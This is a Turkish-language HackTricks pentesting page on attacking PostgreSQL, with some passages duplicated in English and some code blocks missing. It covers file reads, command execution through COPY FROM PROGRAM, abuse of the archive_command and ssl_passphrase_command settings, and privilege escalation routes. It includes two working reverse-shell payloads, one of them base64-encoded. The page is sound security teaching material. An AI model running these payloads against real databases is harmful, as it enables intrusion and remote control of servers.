[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
**PostgreSQL**, SQL dilini kullanmanın yanı sıra ek özelliklerle geliştirilen ve **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanır. Yetenekleri, çeşitli veri tiplerini ve işlemleri ele alabilmesini sağlar, bu da geliştiriciler ve kuruluşlar için çok yönlü bir seçenek yapar.
[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir hata açıklaması içeren `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır. Bu ayrıntıların örnekleri aşağıda listelenmiştir.
`DETAY: Sunucuya bağlanılamadı: Hedefe yönlendirme yok. Sunucu "1.2.3.4" üzerinde çalışıyor mu ve TCP/IP bağlantıları için 5678 numaralı portu kabul ediyor mu?`
PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümkün değildir. Bununla birlikte, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adlarını ve parolalarını çıkarmak mümkün değilse, olumlu sonuçlar elde edebilecek olan önceki bölümde tartışılan wordlist saldırı yöntemini kullanmayı düşünebilirsiniz.
| rolcanlogin | Rol oturum açabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir |
| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını ayarlar. -1 sınırsız anlamına gelir. |
| rolpassword | Parola değil (her zaman `********` olarak okunur) |
| rolvaliduntil | Parola süresi dolma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresi dolmazsa null |
| rolbypassrls | Rol, her satır düzeyi güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özel varsayılanlar |
Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır.
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. In PostgreSQL, functions are created using the `CREATE FUNCTION` statement.
PostgreSQL'de fonksiyonlar, adlarını çağırarak çalıştırılabilen adlandırılmış kod bloklarıdır. Belirli görevleri gerçekleştirmek için kullanılırlar ve parametreleri kabul edebilir ve değer döndürebilirler. PostgreSQL'de fonksiyonlar, `CREATE FUNCTION` ifadesi kullanılarak oluşturulur.
The basic syntax for creating a function in PostgreSQL is as follows:
PostgreSQL'de bir fonksiyon oluşturmak için temel sözdizimi aşağıdaki gibidir:
```sql
CREATE FUNCTION function_name ([parameter1 data_type [, parameter2 data_type, ...]])
RETURNS return_data_type
LANGUAGE language_name
AS $$
-- Function body
$$;
```
-`function_name` is the name of the function.
-`parameter1`, `parameter2`, etc. are the input parameters of the function, along with their data types.
-`return_data_type` is the data type of the value returned by the function.
-`language_name` is the programming language used to write the function code.
-`-- Function body` is the code that defines the logic of the function.
-`function_name`, fonksiyonun adıdır.
-`parameter1`, `parameter2`, vb., fonksiyonun giriş parametreleridir ve veri tipleriyle birlikte belirtilir.
-`return_data_type`, fonksiyon tarafından döndürülen değerin veri tipidir.
-`language_name`, fonksiyon kodunu yazmak için kullanılan programlama dilidir.
-`-- Fonksiyon gövdesi`, fonksiyonun mantığını tanımlayan kod parçacığıdır.
Here's an example of a simple function that calculates the sum of two numbers:
İşte iki sayının toplamını hesaplayan basit bir fonksiyon örneği:
In this example, the function is named `sum_numbers` and accepts two input parameters of type `integer`. It returns a value of type `integer`. The function body consists of a single statement that adds the two input parameters and returns the result.
Bu örnekte, fonksiyon `sum_numbers` olarak adlandırılmış ve `integer` türünde iki giriş parametresi kabul eder. `integer` türünde bir değer döndürür. Fonksiyon gövdesi, iki giriş parametresini ekleyen ve sonucu döndüren tek bir ifadeden oluşur.
Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (yani **`pg_read_server_files`**) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
**Dosya okuma veya dizin listeleme** işlemleri için kullanılabilecek **diğer postgres fonksiyonları** bulunmaktadır. Bunları yalnızca **süper kullanıcılar** ve **açık izinlere sahip kullanıcılar** kullanabilir:
Daha fazla işlevi [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) adresinde bulabilirsiniz.
Unutmayın ki COPY, yeni satır karakterlerini işleyemez, bu yüzden bir base64 yükü kullanıyor olsanız bile **tek satırlık bir komut göndermeniz gerekmektedir**.\
Bu teknikin çok önemli bir kısıtlaması vardır, **`copy` binary dosyaları yazmak için kullanılamaz çünkü bazı binary değerleri değiştirir**.
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın!
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren, sadece **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri, RCE için copy komutunu kullanabilir (örnek ile veri çalma:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Veya **metasploit**'in `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgi [**burada**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) bulunabilir. CVE-2019-9193 olarak bildirilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilemeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
Postgresql'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir** olduğundan, **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve bu nedenle bu dosyayı**üzerine yazabilirsiniz**.
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu
*`ssl_passphrase_command = ''` Özel dosya şifreyle korunuyorsa (şifrelenmişse), postgresql bu özelliğe belirtilen komutu **yürütür**.
*`ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifreyle korunuyorsa **komut**`pg_reload_conf()`**çalıştırıldığında****yürütülür**.
Bu test sırasında, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalığına sahip olması**, **root tarafından sahiplenilmesi** ve **ssl-cert veya postgres** grubuna ait olması (bu nedenle postgres kullanıcısı okuyabilir) ve _/var/lib/postgresql/12/main_ dizinine yerleştirilmesi durumunda çalışacağını fark ettim.
Bu yapılandırma ve WAL hakkında daha fazla bilgi [burada](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) bulunabilir.
Bunun çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu durum doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')`
2.`archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()`
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_xlog()` veya `SELECT pg_switch_wal()`
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: **`CREATEROLE`** ayrıcalığına sahip roller, **süper kullanıcı** olmayan **herhangi bir role** üyelik **verebilir veya geri alabilir**.
Bu nedenle, **`CREATEROLE`** iznine sahipseniz, kendinize diğer **roller** (süper kullanıcı olmayanlar) için erişim izni verebilirsiniz, bu da size dosya okuma ve yazma yeteneği ve komut yürütme seçeneği verebilir.
Çok yaygın bir durumdur ki **yerel kullanıcılar herhangi bir şifre girmeden PostgreSQL'e giriş yapabilir**. Bu nedenle, **kod çalıştırma izinlerini** elde ettiğinizde bu izinleri kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) kullanıcıya verilen ALTER TABLE yetkisini kötüye kullanarak Postgres GCP'de **privesc** yapmanın nasıl mümkün olduğu açıklanmaktadır.
Bir tabloyu başka bir kullanıcının sahibi yapmaya çalıştığınızda, bunu engelleyen bir **hata** almanız gerekiyor, ancak görünüşe göre GCP, bu **seçeneği süper kullanıcı olmayan postgres kullanıcısına** vermiş:
Bu fikri, **INSERT/UPDATE/ANALYZE** komutlarının bir **indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinlerini** kullandığı gerçeğiyle birleştirerek düşünebiliriz. Bir işlevle bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler** vermek, ardından sahibin izinlerini kullanan kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür. Bu sayede komutları yürütebilecek çünkü sahibin izinlerini kullanmaktadır.
2. Tabloya ilgisiz içerikler ekleyerek, dizin işlevi için veri sağlayın.
3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin.
4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN. Bu, Cloud SQL tarafından veritabanını yönetmek ve sürdürmek için özel olarak kullanılan GCP'nin süper kullanıcı rolüdür.
5. Tabloya bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunun tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmesini sağlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve önceden yetkilendirilmemiş kabuk komutunun yürütülmesine olanak tanır.
Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir. **`dblink` fonksiyonunu** kullanarak 127.0.0.1'den yerel olarak giriş yapmak mümkündür:
Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini** unutmayın. Eğer yoksa, aşağıdaki komutu kullanarak oluşturmayı deneyebilirsiniz:
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak o kullanıcı olarak sorguları çalıştırabilirsiniz:
### **SECURITY DEFINER ile tanımlanan özel işlev**
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), IBM tarafından sağlanan bir postgres örneğinde pentester'lar, **SECURITY DEFINER bayrağına sahip bu işlevi buldukları için** bir postgres örneği içinde privesc yapmayı başardılar:
<preclass="language-sql"><codeclass="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html), **SECURITY DEFINER ile tanımlanan bir işlev**, ona sahip olan kullanıcının ayrıcalıklarıyla çalıştırılır. Bu nedenle, işlev **SQL Injection'a karşı savunmasızsa** veya saldırgan tarafından kontrol edilen bazı parametrelerle **ayrıcalıklı eylemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek** için kötüye kullanılabilir.
**PL/pgSQL**, SQL'ye kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dili**dir. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanmayı mümkün kılar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\
**PostgreSQL'e kullanıcı kimlik bilgilerini brute-force yapması için bu dili istismar edebilirsiniz.**
[pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\
Parolaları_**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\
Onları şu betik içindeki _**decrypt**_ işlevini kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
PostgreSQL'de istemci kimlik doğrulaması**pg_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedekleme yoktur. Eşleşen hiçbir kayıt yoksa erişim reddedilir.
pg_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dır. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5 karma, crypt şifreli veya açık metin. Crypt yöntemi, pg_authid'de şifrelenmiş olan şifrelerle kullanılamaz.
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\